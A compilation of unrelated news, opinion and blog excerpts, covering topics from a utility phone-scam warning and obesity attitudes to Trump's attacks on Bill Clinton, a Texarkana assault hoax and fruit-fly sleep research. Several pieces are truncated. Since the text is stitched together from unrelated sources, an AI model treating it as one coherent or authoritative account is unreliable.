CareerBuilder have seen rates of 70% or so employers that check public social media accounts of applicants they consider hiring. That's as surprising as the sun rising each morning. It's barely even considered creepy any longer to google the names of friends, never mind people you're looking to hire. Somehow I don't see any regulation curbing that across a continent. Filed Under: data protection, eu, interviews, jobs, privacy, public info, social media -Americans believe that obesity is tied with cancer as the biggest health threat in the nation today. But though scientific research shows that diet and exercise are insufficient solutions, a large majority say fat people should be able to summon the willpower to lose weight on their own. The findings are from a nationally representative survey of 1,509 adults released on Tuesday by NORC at the University of Chicago, an independent research institution. The study, funded by the American Society for Metabolic and Bariatric Surgery, found that concerns about obesity have risen. Just a few years ago, in a more limited survey, cancer was seen as the most serious health threat. The lead researcher, Jennifer Benz of the survey group at the University of Chicago, said that to her knowledge no other survey has provided so comprehensive a view of Americans’ beliefs about obesity, including how to treat it, whether people are personally responsible for it and whether it is a disease. Researchers say obesity, which affects one-third of Americans, is caused by interactions between the environment and genetics and has little to do with sloth or gluttony. There are hundreds of genes that can predispose to obesity in an environment where food is cheap and portions are abundant. -Glendale Water & Power is warning customers of a recent increase in telephone scams aimed at bilking them of thousands of dollars for phony past-due bills. Customers are contacted by presumed customer service representatives and told their accounts are delinquent and they must pay immediately over the phone or face service shutoff. They are instructed to purchase a Green Pack Money Card — a specific prepaid debit card — from a 7-Eleven or Rite Aid and then call back to pay the bill using the card. In the past week, three separate customers have paid the scammers between $1,000 and $2,000 each, according to GWP spokeswoman Atineh Haroutunian. The scheme is run mostly from outside the United States, and organizers use software to make the calls appear on caller ID to be coming from GWP or from local numbers with an 818 area code, the utility said in a statement. GWP says its representatives will never ask for payment over the phone, and customers who receive these types of calls are encouraged to contact the utility at 818-548-3300 to check the true status of their account and report the attempted fraud. Customers are also asked to call the Glendale Police Department at 818-548-4911 to report the calls. -ADVERTISEMENT Wouldn't it be nice if we could just get all the Hillary Clinton and Donald Trump garbage out in the open now, pour it in some toxic news dump and sift through it for a week, air out all the shiny pieces, then go back to talking for six months about which policies are better for America? If your answer is no, that would be boring, you're in luck. These past two weeks, essentially the first in the general election campaign, Trump has taken us back to the 1990s, the Bill Clinton presidency, especially Clinton's extramarital affairs, even an unsubstantiated rape allegation and the nutty idea that Bill and Hillary had their friend Vince Foster iced. Bill Clinton has sometimes been a distraction when stumping for his wife's presidential campaign, and he arguably does more harm than good. But Donald Trump has his own Bill Clinton problems, and refighting the political wars from the 1990s won't fix them. To begin with, as Paul Waldman notes, these scandals were endlessly litigated in the 1990s, and Clinton essentially won. That's in part because many voters saw impeachment as an overreach, even though Clinton had lied (or relied on an obscure definition of "sexual relations") under oath about an affair with an intern during a six-year, $50 million taxpayer-funded investigation into a 1980s failed Arkansas land deal. (Yes, that is the Whitewater affair that Trump's campaign accidentally disclosed it will be dredging up to attack Hillary Clinton.) It's also because his main Republican antagonists in the impeachment trial — House Speakers Newt Gingrich, Bob Livingston, and (we now know) Dennis Hastert, plus Sen. Henry Hyde — each had their own history of illicit sexual encounters; Gingrich was having an affair while pushing to impeach Clinton. And that brings us to Donald Trump's first Bill Clinton problem: 1. Trump has no business attacking Clinton's affairs. Is that because Trump, too, has had extramarital affairs? Sure. Is it because he has called Bill a friend, "a terrific guy," who did "a terrific job" as president? Kind of. But the big problem for Trump is that he has already exonerated Clinton for any peccadilloes in the 1990s. In an August 1998 interview, for example — the one where Trump called Clinton accuser Paula Jones "a loser" — Chris Matthews asked Trump if he would ever run for president. Trump said no, "can you imagine how controversial that'd be? You think about [Clinton] with the women. How about me with the women? Can you imagine...." Matthews made a cigar joke, and Trump reconsidered: "Well, they might like my women better, too, you know." As late as 2008, Trump called the Lewinsky affair "something that was totally unimportant," and argued in 2001 that Bill Clinton's big mistake is that he didn't take invoke his Fifth Amendment right to stay silent during the questioning about Lewinsky. Changing your opinion of a friend is very different than suddenly expressing horror at sexual activity you already called "totally unimportant." At The Atlantic, Conor Friedersdorf points out that there are really only two explanations for Trump's pivot: Perhaps Donald Trump truly believes that Bill Clinton is a rapist, or at best "one of the worst abusers of women" in U.S. history, as he said. And therefore, Trump invited a man he believes to be a rapist to his wedding, where Trump had his new wife pose beside the ostensible abuser, Trump smiling as the man he believed to be a sexual predator posed with his arm encircling his new bride's waist. Or maybe Trump doesn't actually believe that Bill Clinton is a rapist, or one of the worst abusers of women in history. Rather, he is cynically and falsely publicizing a rape accusation, knowing the accused may well be innocent, because spreading it will help Trump to win power. A frivolous or disingenuous rape accusation would typically make Trump supporters apoplectic.... They regard false rape accusations as serious if not unforgivable transgressions. [The Atlantic] Neither option looks very good for Trump. And yet he soldiers on, "a walking contradiction," as Chuck Todd said on Wednesday's NBC Today. "He has contradicted every single attack he's made on the Clintons. You can find sound to contradict it. It doesn't touch him." Trump's rationale, Todd said, is that he was a private citizen, not a politician, when he said nice things about the Clintons, and that being nice to powerful people is good for business. Which brings us to Trump's second Bill Clinton problem: 2. Talking about Clinton makes Trump looking like a lying, misogynist jerk. When explaining why he is talking differently about Bill Clinton now, Trump is essentially saying that he used to be a private-sector liar, but now that he's a politician, he's a truth-teller. That's counterintuitive, but that's the campaign's story and they're sticking to it. When CNN's Chris Cuomo asked Trump's longtime attorney and political adviser, Michael Cohen, at what point Trump was lying about Bill Clinton, in the 1990s or now, Cohen replied: "He was not lying. He was protecting a friend. There's a difference." What's that difference? Cuomo asked. Trump "was being a true friend," Cohen said. He elaborated: "He was a private citizen who was friendly with the Clintons, and he was trying to protect a friend, all right. Now, it's a different game. It's 2016." Cuomo pressed on, asking: "Why would I trust you if you say all the things you said then were false?" Trump "was a private individual," Cohen said. When he was bad-mouthing the women accusing Clinton of sexual misconduct, Cohen suggested, Trump "was standing up for a man who he considered to be a friend at the time." That's essentially the "bros-before-hos" defense, and it's an interesting strategy for raising Trump's dismal favorability numbers with women. 3. Trump wants spouses to be untouchable, except Hillary Clinton's. Two of Trump's rockiest moments this campaign are when a Ted Cruz super PAC ran an ad showing a scantily clad Melania Trump, and when GQ published a long profile of Trump's wife. In the first instance, Donald Trump retweeted an unflattering photo of Heidi Cruz to his legions of Twitter followers. After the GQ article, Trump said to leave his wife out of this. George Stephanopoulos asked the obvious follow-up. "There was an article in GQ about your wife Melania this week," he told Trump on ABC News earlier this month. "And you said that spouses should be off the table, but you are willing to talk about Bill Clinton. Should he be off the table as well?" Trump eventually got to no. "It depends if he's involved in the campaign," he said. "I think if he's involved in the campaign, he shouldn't be. And I — he probably will be involved. I think he gets involved when she plays the women's card." Now this is nonsense, on its face. First of all, Melania Trump is involved in Trump's campaign — she appears with him at campaign events, she has been interviewed about the campaign on TV, and she has stumped for her husband. If Bill Clinton's participation in his wife's campaign makes him a target, Trump's exemption of his wife makes no sense. Second of all, Hillary Clinton pointing out the offensive things Trump has really said about women doesn't have anything to do with Bill Clinton. Trump's response is that Hillary Clinton is an "enabler." Or as he told Stephanopoulos: "Hillary Clinton's husband abused women more than any man that we know of in the history of politics, right. She's married to a man who was the worst abuser of women in the history of politics. She's married to a man who hurt many women." But surely Trump would be outraged if anyone in the Clinton camp called Ivana Trump, his first wife and mother of his children, an "enabler" of Donald Trump's affair with the future second Mrs. Trump, Marla Maples, when he was still married. If only some spouses are off-limits, then Trump has to come up with a better explanation why his wife is untouchable — not that anyone in the Clinton camp is attacking her — and Bill Clinton is not. Otherwise he's playing his own "woman's card." Which brings us to Trump's final Bill Clinton problem: 4. Trump is trying to get in the Clintons' heads, and its backfiring. Bill Clinton's extramarital dalliances are "fair game," as Slate's Jim Newell points out, but it's a time-tested electoral dud. Did Trump really think the Clintons didn't expect this? So far, when confronted with Trump's taunts, neither Clinton has taken the bait. In fact, bringing up Bill Clinton and women only highlights Donald Trump's Mad Men-era way of talking about women, and as Newell contends, plausibly, it reminds even many politically moderate women why they don't like Trump's party in the first place — restricting access to contraception, attacking Planned Parenthood, scrapping WIC benefits. Talking about the "women's card," he says, "only reinforces how clueless the party is about the ill will such policymaking priorities created, especially among unmarried women." Donald Trump fashions himself as a "counter-puncher," by which he means he only hits people who attack him first, and often he tries to hit them harder. He appears to be serious about this, even proud of it; to him, it sounds chivalrous, just like treating your date nicely is a sign that you are pro-woman. It's actually pretty juvenile, the grown-up version of the 5-year-old's lament: "But, she started it!" (It also is a terrible trait for a presidential candidate — would you really want a thin-skinned, egocentric commander-in-chief going nuclear if he perceives a slight from a foreign leader?) Trump has the political bully's instinct to attack his opponent's perceived strengths — "Trusted" Ted Cruz became Lyin' Ted, smart and wonky Jeb Bush became Low-energy Jeb — and Bill Clinton will be one of Hillary's assets in the general election. Bill is "the most gifted politician of the baby boomer generation," said none other than Kenneth Starr — yes, the one from the Whitewater/Lewinsky prosecution — to The New York Times this week. "His genuine empathy for human beings is absolutely clear.... The 'I feel your pain' is absolutely genuine." So it's not foolhardy to try and "muddy up the image of the fondly remembered former president, Hillary Clinton's most effective proxy," as Slate's Newell puts it. "If you can turn Bill Clinton into a liability, you've greatly increased your chances of defeating Hillary Clinton." But it also carries risks, especially for Trump. That old saying about throwing stones from glass houses? Donald Trump has a glass tower with his name in big gold letters, and Bill Clinton has good aim. -Regardless, what is made abundantly clear on Pixelapse's website is that drawing coherent illustrations was not a business need for their company. This must be true more broadly, because Dropbox themselves acquired Pixelapse even though they could not competently draw a box. Another reason that many disparage visual design is that there is real incentive to distancing oneself from it. Many rightly realize that the quickest way to guarantee not getting respect is if their job title includes the word "creative." Thus there is a compensatory advantage to marginalizing visual design and thus proving one's dedication to doing the 'real work.' Daniel Burka of Google Ventures found "Even among designers of similar seniority, there is marked difference in compensation for UX Design, UI Design, and Visual Design," with salaries tending to descend in that order. Paul Rand once claimed "A bad design is irrelevant, superficial…basically like all the stuff you see out there today." In the years since, he has not been alone in promoting this sentiment. In the introduction to Humanist Interface, I note that designers at prominent companies like Apple, Amazon, and Facebook argue that design used to be a trivial coat of paint. Since that writing, Facebook's Director of Product Design, Maria Guidice chided designers who "like to make things pretty, a term I like to refer to as 'aesthetic masturbation.'" Today we are told we can rest assured that visual design is no longer so vacuous and superficial, due to the advent of flat design. I take a different stance. 'Pure veneer' is not an insult in my book. Quite the opposite, it is the very definition of visual design. Thinking visual design is anything but superficial not only requires a profound level of ignorance, but it indicates an incredibly limited view of what visual communication can accomplish. These rationalizations by newly turned modern minimalists are incredibly telling. If prominent practitioners are being honest with us in claiming that visual design was plagued by harmful decoration only up until the advent of flat design, then they are admitting that for years, for the history of the GUI, and perhaps even the entire history of design itself, designers have been putting on a sham project in order to dupe corporations. Worse still, claims of visual design's insignificance tell us that design leaders never took their craft seriously. It truly undermines their credibility that it took the arrival of flat design for them to treat the entire spectrum of roles in product design with respect. Of course, as soon as that happened, they graduated from respecting traditional interface design principles. This so-called 'maturation' in the vast majority of the design industry is in this way a major indictment of the professional history of these practitioners. If anyone should be condemned, it should not be those accused of the crime of visual design, but those practitioners who treat their job as frivolous. Perhaps the design world breeds a form of narcissism due to its nature as a winner-take-all economy. That would explain the logic of this race to the bottom in which designers feel compelled to attack their craft before others assume they are 'bullshitters' too. In the words of Dr. Sam Vaknin: By pre-empting society’s punitive measures and by self-flagellating, the narcissist is actually saying: 'If I am to suffer unjustly, it will be only by my own hand and no one else's.' It is this masochistic status-striving that I find so ugly in this industry. That he who discredits his own craft is the most pious. That the most respected designer is the one who disowns beauty. This perpetual need to be the first to assign irrelevancy to one's own professional practice is the true impetus behind much of the puritanism of modern minimalist avant gardism. -Just days after the racism-fueled Charleston massacre, in which young white supremacist Dylann Roof took the lives of nine black churchgoers, a woman in Texarkana, Texas is being called out on social media for trying to incite racist attacks against the black community. Texarkana resident Ashley M. recently posted photos of herself on Facebook after reportedly being “jumped by 3 African Americans ourside [sic] of the as [sic] Walmart.” In the photos, she appears to be sporting two black eyes and a bloody nose and lip. The problem? The wounds were obviously poorly-applied makeup. In fact, it pretty much looks like Ashley snuck a piece of charcoal into her purse at the last barbecue she attended and then just rubbed it all over her eyes. Ashley M./Facebook Yup, she went there. The Daily Dot called the Texas-side Walmart (Texarkana shares a border with the Arkansas town of the same name) where the alleged attack took place. We spoke with a security worker who said no incidents had been reported there within the past week. We also showed the photos to Texarkana Police Department public information officer Mike Jones, who responded with an emailed statement. “I’ve talked to our detective Sergeant. He has reviewed all of the reports from the weekend and there is no report of this incident,” wrote Jones. “There is also no report in our system from a person with the poster’s name. We are confident is stating that this incident, if it did occur, has not been reported to this department.” The Texarkana Police Department also posted public statements regarding Ashley’s claims on its Facebook page. The post stated that police officials “believe the post to be fake” and that “the injuries… are highly questionable.” The post has since been taken down. Ashley’s Facebook post has also gone viral on Twitter, after Twitter user and ownyourblackness.com owner @missjia tweeted a screengrab. The responses were both damning and also kinda hilarious. @missjia she wasted so much makeup doing this. Smh — … (@__hbritt) June 22, 2015 @missjia So she went with the raccoon eye contouring method….I 👀 ya see Miss. Deranged White Lady — TeamNoChill (@MsRita73) June 22, 2015 @meoskop I did exactly this eye for a drunk clown skit in high school… — Mikki Kendall (@Karnythia) June 22, 2015 In response to being mocked on Twitter, Ashley posted another photo of her “beaten” face on her Instagram profile. She has since taken the photo down. In the caption for the photo, Ashley continued to stick to her story: “Here is your police report. Sorry I got jumped by three African American young men. I have 2 black eyes and nose still is bleeding, and somehow I am in the wrong. Enough for people to say it was makeup, how embarassing and very rude quite frankly. I don’t want you pitty (sic) attention anything. I’m just warning there are dangerous people in Texarkana be careful. They did this to me for no reason in front of my 3 year old. At Texas side Walmart.” By 11am Monday morning, both Ashley’s Facebook and Instagram accounts have either been either removed or made private. Nonetheless, her story about being supposedly attacked by three black men has outraged the Internet. Sadly, Ashley’s attempt to frame black men as dangerous criminals hasn’t been the only one in recent days, following the massacre at the Charleston church. An image is currently circulating on Facebook of a young black man holding what appears to be two guns with the caption: “Young men get your guns and kill them white ass policemen. Do not think about it just do it. Call them bitchs (sic) out set them up with two in the head.” Police in Daytona Beach, Florida told WFTV that they had received more than 500 emails about the post by June 11. While officials were quoted as saying the photo “might be fake,” they also said they were conducting an investigation along with the FBI and ATF, and that the man in the picture was holding “two assault rifles.” Daytona Beach might want to send those officers back to the police academy for more training. Because it’s pretty clear from the gas station-like background and the coiled plastic cables attached to both guns that the guy—who also looks young enough to be a teenager or possibly a college student—is posing for a photo in a store, not trying to start a big, scary race war. Update 12:21pm CT, June 22: When asked why the Texarkana Police Department had taken down its statement on Ashley’s Facebook post, a representative from the police department responded via email with the following statement: I was just informed by my social media manager that he was contacted by a friend of the original poster. We were informed that she is emotionally disturbed and that they are attempting to get her the assistance that she needs. We have removed the post to avoid contributing to her difficult struggle. Update 8:58am CT, June 23: An earlier version of this article speculated that the guns in the above viral Facebook photo were from a video game. But many gun enthusiasts on social media have pointed out that the trigger locks and security cable visible in the photo indicate that the photo depicts real guns, but was likely taken in a store. Editor’s note: In light of the subject’s potential mental instability, this story has been updated to remove her last name from the text and related images. H/T @missjia/Twitter | Photo via startupphotos/Flickr (CC BY 2.0) | Remix by Fernando Alfonso III -Sleep is present and tightly regulated in every vertebrate species in which it has been carefully investigated, but what sleep is for remains a mystery. Sleep is also present in invertebrates, and an extensive analysis in Drosophila melanogaster has shown that sleep in fruit flies shows most of the fundamental features that characterize sleep in mammals. In Drosophila, sleep consists of sustained periods of quiescence associated with an increased arousal threshold. Fly sleep is modulated by several of the same stimulants and hypnotics that affect mammalian sleep. Moreover, like in mammals, fly sleep shows remarkable interindividual variability. The expression of several genes involved in energy metabolism, synaptic plasticity, and the response to cellular stress varies in Drosophila between sleep and wakefulness, and the same occurs in rodents. Brain activity also changes in flies as a function of behavioral state. Furthermore, Drosophila sleep is tightly regulated in a circadian and homeostatic manner, and the homeostatic regulation is largely independent of the circadian regulation. After sleep deprivation, recovery sleep in flies is longer in duration and more consolidated, indicated by an increase in arousal threshold and fewer brief awakenings. Finally, sleep deprivation in flies impairs vigilance and performance. Because of the extensive similarities between flies and mammals, Drosophila is now being used as a promising model system for the genetic dissection of sleep. Over the last few years, mutagenesis screens have isolated several short sleeping mutants, a demonstration that single genes can have a powerful effect on a complex trait like sleep. -The former boarding house was due to hose 64 asylum seekers. Photo: Stian Strand / NTB scanpix Early on Tuesday morning, a fire broke out a planned asylum centre in Hol Municipality in Hallingdal that left the building completely destroyed. Police were notified of the fire at 4.52am on Tuesday. “The building has suffered great damage but it hasn’t burned completely down. It’s possible the fire brigade will monitor a controlled burn,” police spokesman Ole Kristian Nerby told NTB. Nerby said it was too early to say anything about the cause of the fire but confirmed that no one was in the building when the fire was discovered. The building was approved for use as an asylum centre in January. The former boarding house was due to host 64 asylum seekers. -It’s a common theme among many small apparel brands, and women’s-specific brands in particular: a frustration with the current state of the market. Not happy with choosing from the limited selection of gear that’s available, a passionate individual (or group of individuals) sets out to change the status quo. It was no different in the case of Femme Velo. “When I started shopping for gear and clothing I was underwhelmed and increasingly disappointed by my lack of options,” Nicole said. “The jerseys I found were an atrocious shade of pink or baby blue, which just wasn’t for me. “I’m the kind of person that if I see something that can be better I don’t wait around for someone else to fix it — I jump right in and fix it myself. Both my parents were entrepreneurs and so starting a business of my own never seemed far-fetched. “When I had the dismal experience of trying to find kit I liked and that I could do long rides in without it literally being a pain in my ass, I decided, why not make it better?” When she was still new to the sport, Nicole found out that while riding alone can be hugely rewarding, it’s the social nature of the sport that binds us to our bikes. It provides the motivation to get out of bed when it’s still cold and dark outside. Femme Velo initially began as a yearly women’s cycling sportive in 2012, before launching its line of apparel earlier this year. “I love where we came from in this sport,” Nicole tells us. “Femme Velo isn’t about empowering women, because women don’t need brands to empower them. Women need brands that complement them, that fit into their lifestyle, and most importantly women need choices. “That’s who we are and what we stand for and if we can get one more woman to walk past a bike shop and wonder at the possibility of what might come if she gets on bike and starts riding, then we’ve done something great with our voice and our brand.” -The Freedom From Religion Foundation will be running a full-page ad in Sunday's Tulsa (Okla.) World and Wichita (Kan.) Eagle asking the question, "What does the bible really say about abortion?" The answer is (as the ad puts it): "There is no biblical justification for the assault on women's reproductive rights." The advertisement features a compelling portrait of birth control crusader Margaret Sanger, and her quote: "No woman can call herself free who does not own and control her body." It documents that the bible does not condemn abortion and, in fact, "shows an utter disregard for human life." The ad reminds the reader: "We live under a secular Constitution that wisely separates religion from government, and protects women's reproductive rights." The ad is funded and was largely written by Brian Bolton, a retired professor and Life Member of FFRF, in memory of FFRF's principal founder Anne Nicol Gaylor (1926-2015), who was propelled into freethought activism by her experiences working to legalize abortion in the late 1960s and early '70s. Gaylor observed that the battle for women's rights "would never end" until the root cause of women's oppression, "religion and its control of our government," is challenged. The ad refers the reader for more information to Bolton's article, "God is So Not Pro-Life" and FFRF's nontract "What Does the Bible Say About abortion?" The ad first debuted earlier this spring in the Austin American-Statesman and will appear later this month in the Houston Chronicle. FFRF warmly thanks Brian Bolton, who lives in Texas, for his generous support and commitment. Bolton additionally sponsors FFRF's annual graduate student essay contest. For more information on bible sexism and its reach into civil law, also see Woe to the Women: The Bible Tells Me So, by Annie Laurie Gaylor, published by FFRF. -Moisturize, Moisturize, Moisturize By Worker Bee Conventional wisdom (our dear, dear friend) tells us that without the constant application of skin creams and face lotions and mineral moisturizers, we’ll become haggard parchment people with wrinkled mugs that’d put an elderly Sharpei to shame. It seems to have worked, too. Most bathroom mirrors conceal impressive caches of creams, lotions, and oils, and many people instinctively and compulsively lather the stuff on any chance they get (similar to our infatuation with Purell, but that’s another post altogether). But, as we’ve often wondered, is confronting a totally natural occurrence – dry skin – with unnatural methods and products really such a good idea? As you know, we here at Mark’s Daily Apple tend to prefer the natural to the artificial – but that’s only because we’ve found that following nature’s way and listening to biology and evolution often go hand in hand. It’s not a dogmatic ideology of naturalism we espouse here; it is a pragmatic approach to life that tells us the natural way most often is the best way, but that also allows the use of artificial aids, if they are safe and effective. With that in mind, we weren’t all that surprised to read about a recent scientific study that discovered using lotions and skin creams can actually weaken your skin’s resistance to the elements and create a dependency on skin products. Swedish scientist Izabela Buraczewska found that creams can actually make the skin drier in the long run. Basically, once you start using a cream or lotion to combat dry skin, you have to keep using it or your skin will regress to a point even drier than it was before you started using the cream. She used several different kind of creams and oils to test her results, and she found that even different pH levels didn’t change the effects on the skin. Both mineral and vegetable oil were tried, and both resulted in the skin having less resistance to drying elements. Strangely enough, however, using a complex cream had less of a drying effect. To Buraczewska, this meant that a blanket assignation of blame to all creams and lotions simply isn’t realistic. The problem wasn’t with the idea of artificial skin creams; the problem was that an effective skin cream simply hadn’t been created that could deal with the drying effects. Tissue samples taken from patients suggest that the application of skin creams affects the activity of certain genes that regulate the production of skin fats, which figure prominently in the skin’s moisture levels. If we can isolate the compounds in the creams that do dry the skin, perhaps new moisturizers can be developed without the bad stuff. So maybe smearing raw avocado and palm oil on your body isn’t the best Primal moisturizer. Maybe using unnatural oils and creams will eventually be a better way to fight dry skin. There’s a lot of things you can call us, but rigid isn’t one of them. Better living through rigorously tested and nearly perfected chemistry? Sure, we’ll take that every time. only alice Flickr Photo (CC) Further Reading: We Like Drugs – Fair and Balanced How to Get that Natural Glow 10 Rules of Aging Well Post navigation If you'd like to add an avatar to all of your comments click here! -Image caption John Hemming MP said he would raise the matter in Parliament An MP is to raise the case of a woman who he says had her baby forcibly removed by Caesarean section, and taken by social services in Essex. Liberal Democrat John Hemming said the Italian woman had had a panic attack linked to her bipolar disorder and was sectioned under the Mental Health Act. She was sedated after authorities obtained a court order. Essex County Council, which allegedly took the baby into care, said it could not comment on "ongoing" cases. It is understood the woman was pregnant when she came to the UK to work for Stansted Airport in 2012. Up for adoption Mr Hemming, MP for Birmingham Yardley and chairman of the Justice for Families Campaign, said he planned to raise the case in Parliament. He claims to have seen documents proving Essex social services obtained a court order for a Caesarean section, and for the child to be taken into care. He said the girl, who is now 15 months old, was still in the care of Essex social services and was being put up for adoption. Solicitor Brendan Fleming issued a statement in which he said he had been instructed by the woman's lawyers but would not discuss the case. "We remain committed to fighting for our clients and shall fight tooth and nail to help mother be reunited with her baby," it said. A council spokesperson said: "Essex County Council does not comment on the circumstances of ongoing individual cases involving vulnerable people and children." -When Rand Paul dropped out of the presidential race in February 2016, the self-described "libertarianish" senator from Kentucky vowed: "I will continue to fight for criminal justice reform, for privacy, and your Fourth Amendment rights. I will continue to champion due process over indefinite detention." On Thursday, amid the hullaballoo of former FBI director James Comey's dramatic testimony on Capitol Hill, Paul brought a handful of libertarian reporters inside his Senate office to discuss his recent work on these projects. Front and center is a new piece of legislation, introduced this week, to once and for all ban indefinite detention. With the working title of "The Sixth Amendment Preservation Act," Paul's bill "prevents any future military force authorization from being used to justify indefinite detention without trial," according to a summary prepared by his office. More from that: Section 1021 of the 2012 National Defense Authorization Act unconstitutionally declares that the 2001 Authorization for the Use of Military Force allows our Armed Forces to indefinitely detain citizens, legal residents, and foreign nationals who are alleged to have engaged in hostilities against the United States. This means U.S. citizens apprehended within the boundaries of the U.S. could be held indefinitely without trial. The Sixth Amendment Preservation Act repeals section 1021 making it clear that no military force resolution can legalize indefinite detention without a trial and seeks to restore our constitutional commitment to individual liberty. Emphasis in original. "You never know who could be in the White House," Paul explained Thursday. "Could someone be there that would actually take away all of our rights and begin arresting us for who we are, what we are, what we think, what we read? And so I consider this to be one of the most important pieces of legislation that we'll put forward." Also covered in the discussion: the senator's efforts to vote down the recent blockbuster arms sale to Saudi Arabia ("winning a battle like this would send a huge message out there"), the Trump administration's tough-on-crime posture ("I think there's very little of this attorney general, this Department of Justice, doing anything favorable towards criminal justice or towards civil liberties"), criticism of Paul's vote to confirm Attorney General Jeff Sessions, and his reaction to the Comey hearing, which we teased out yesterday. Produced and edited by Todd Krainin. Cameras by Krainin and Mark McDaniel. Subscribe to our YouTube channel. Like us on Facebook. Follow us on Twitter. Subscribe to our podcast at iTunes. -The internet is a refuge for scorned groups, from furries to mommy bloggers, and atheists have found a home there as well. “Reddit Atheist” has become shorthand for a subculture with its own memes, slang, rivalries, and parodies. While the internet has been a source of comfort for the irreligious, it has also intensified a stereotype about atheists’ self-righteous arrogance. Despite the dominance of digital atheism, the community hasn’t made the same impact on the mobile web. The online atheism community hasn’t produced many apps of its own. Many of them are mainly collections of Richard Dawkins quotes in horrible fonts; others, like the Atheist Pocket Debater, are explicitly designed to needle Christians. While there are atheist apps, most of them are terrible, or promote arguing. “I think the faithful have been propagating a narrative of the angry atheist for so long, and I think that there’s some legitimacy to that,” said Peter Boghossian, who teaches at Portland State University and has worked with inmates in Oregon, teaching critical thinking and moral reasoning. Boghossian, with the Richard Dawkins Foundation, created an app called Atheos to help us atheists change our reputation for being condescending doctrinaires. “I wanted to give people a tool, so if they’re approached by somebody, and instead of saying ‘delusional maniac’ and then swearing, they can explore the reasons for their beliefs,” he said. It’s markedly different from other atheist apps in that it explicitly emphasizes not being rude to religious people. “The larger problem in society is an increasing incivility among different people holding different beliefs. I think it’s really important to have civil, respectful dialogue with people, and we just haven’t been doing that,” he told me. “So that’s a main thrust of the app.” “None of us want this to be Iraq, right? Sunni and Shia divisions, people shooting each other because of different metaphysical beliefs about the world,” he said. Though Boghossian used an inappropriately extreme example of religious conflict to compare, it is true that atheists are not well liked in America. A 2014 Pew Research Center survey found that Americans rated atheism far lower than all major belief systems except Islam. It’s also simply not cool to be atheist. Justin Bieber worships in shredded Japanese denim alongside Kevin Durant at Hillsong. Kanye raps about God dreams. Who do atheists have? Penn Jillette, Arian Foster, and the late Christopher “Women Aren’t Funny but the Iraq War Is for Sure Good” Hitchens. It’s grim. I’m an atheist, and I am sorry to confirm that we are the pedantic neckbeards of American culture, skulking around the Sam Harris section at Barnes & Noble and telling anyone who’ll listen that Thomas Jefferson was actually a deist. This is not helped by reports that some atheists repurpose religious apps to fight about belief; in 2013, for example, The Washington Post reported that a regular free Bible app had gained an unusual following among nonbelievers. Another atheist has made money off of a Bible app he sells to Spanish believers. One diabolical-sounding atheist said he used a Bible app every night to “engage believers in verse-on-verse debates via Twitter.” Atheos is meant as a corrective to the apps that encourage dismissive behavior toward believers. It’s a multilevel, multiple-choice quiz game; players select canned retorts to statements like, “You atheists are evil.” There’s a section on how to engage door-to-door Mormon missionaries, and another on disabusing Scientologists of Scientology. “The believer is going to think you’re not taking them seriously if you compare their faith to gay-dar,” one tip intones. Players are advised to refrain from asking Scientologists if they are taking any medications. If you are looking for the world’s most accurate simulator of an interminable, politely fractitious seminar debate between Epistemology 101 students, you are in tremendous luck. Playing Atheos feels like completing homework for an online course in Atheism Studies. The glossary, which provides short definitions for jargon like “Fragenblitzen,” reinforces the scholarly vibe. The levels are divided into “caves.” It’s free, but after the first level is completed, the rest of the content is accessible only with a $5 purchase. I guess you could say it’s like Westworld, in that it’s a game about the nature of reality. I also guess you could say it’s like Westworld, because it could inspire insufferable dorm-room conversations. While Atheos has overtures toward civility, its endgame is to make interlocutors doubtful about their most deeply held beliefs, and there’s something inherently confrontational about that. I don’t see how an app that encourages atheists to practice rebuttals and argument-hole-poking will help relationships between believers and nonbelievers. Atheos might be more useful for atheists engaging in conversation with believers if the screen simply flashed the words Maybe switch the topic to prestige TV??? anytime its sensors picked up voices using the terms “God,” “religion,” or “Neil deGrasse Tyson.” Maybe the reason there are no good apps for atheists is you just can’t make one. Atheos certainly tries, but at the crux of all these apps is either engaging in fruitless argument or strategically avoiding discussion of the very thing you downloaded an app for. “All this back-and-forth sniping serves to do is to make us feel a sense of superiority to the person making the claims and does nothing for them except leave them with a smugness about their assumption that ‘atheists are all mean,’” former atheist blogger Martin Pribble wrote in 2013. “Faith overrides knowledge and truth in any situation, so arguing with a theist is akin to banging your head against a brick wall: You will injure yourself and achieve little.” -I haven’t posted on here in quite a long while. I feel like life took me by surprise and dragged me for months. But I’m here now, and lately I’ve felt the need to blog. To write in this blog and converse with others. I recently got laid off from my job due to lack of work. There are so many things wrong with the U.S. economy, but this isn’t the blog for that kind of talk. I’ve fallen into a hole and I seem to not be able to climb out of it. I used to be completely optimistic and cheery. Lately things have changed and I’m quite the opposite. I stopped practicing yoga, meditating, working out, eating the way I should be and I’ve started being lazy and doing things that do not make me happy for fulfilled. It was a downward spiral and I needed to tighten my grip on reality. I realize that no one is going to change anything for me. It’s entirely up to myself to change the negative thoughts to positive and to go out and practice kindness and happiness everywhere I go. I can’t lay down on my bed anymore and wait for something good to happen. Good things are happening all around and I haven’t opened my eyes to see them. If you want to see good in the world, like really concentrate on the good in people, you will see it. The same goes for the bad in the world. The bad is easier to see because the world is becoming more cynical and selfish. I’m really motivated about spreading kindness and happiness. I want to show others that there is a reason to be positive even when there are a thousand negative issues going on. That there are kind people out there even if they can’t seem to find them. That just because you’ve hit a major setback in your life, it doesn’t mean it’s the end or even near the end. I want to spread good in the world. -Apparently, Color War isn’t just for kids anymore. During a recent visiting day at her three children’s sleepaway camp in Maine, “Odd Mom Out” creator and star Jill Kargman watched as parents brought out the big guns in an all-out-battle for public affection, Upper East Side-style. “Someone had a red wheelbarrow, pulling all the presents … There were people with Nobu sushi and I said to these moms, ‘How is that fresh?’ and they were like, ‘Oh, we were only wheels up an hour ago and we have ice packs,’” Kargman says of the private-jet-loving parents. “Someone brought a whole thing of [Chinese food from] Mr. Chow because their kids ‘missed ethnic.’” “I know you’re happy to see your kids and it’s a big three weeks not seeing them, but it seems excessive,” says Kargman, 42, who lives in Manhattan. Sleepaway camp is a rite of passage for many city tots. And with camps ranging from $8,000 to $13,000 for a full seven-week term, it’s an expensive one. But, for some parents, it’s not enough to send their kids away to lavish rural retreats. They hire professional packers to ensure their children’s trunks are perfectly assembled, send them off on private planes with platters of Zabar’s smoked salmon and even bring the household staff to visiting day to dust bust the cabin while the parents and kids reconnect after a grueling 3 ½ weeks apart. “Visiting day is a whole beast in itself,” says Jodi Zgodny, co-founder of Love, Laura Gifts, which assembles extravagant baskets for the annual event. “Parents definitely want the gifts wrapped and ready to go.” Zgodny says parents will shell out $70 for candy-covered lacrosse sticks and more than $100 for cellophane-wrapped, 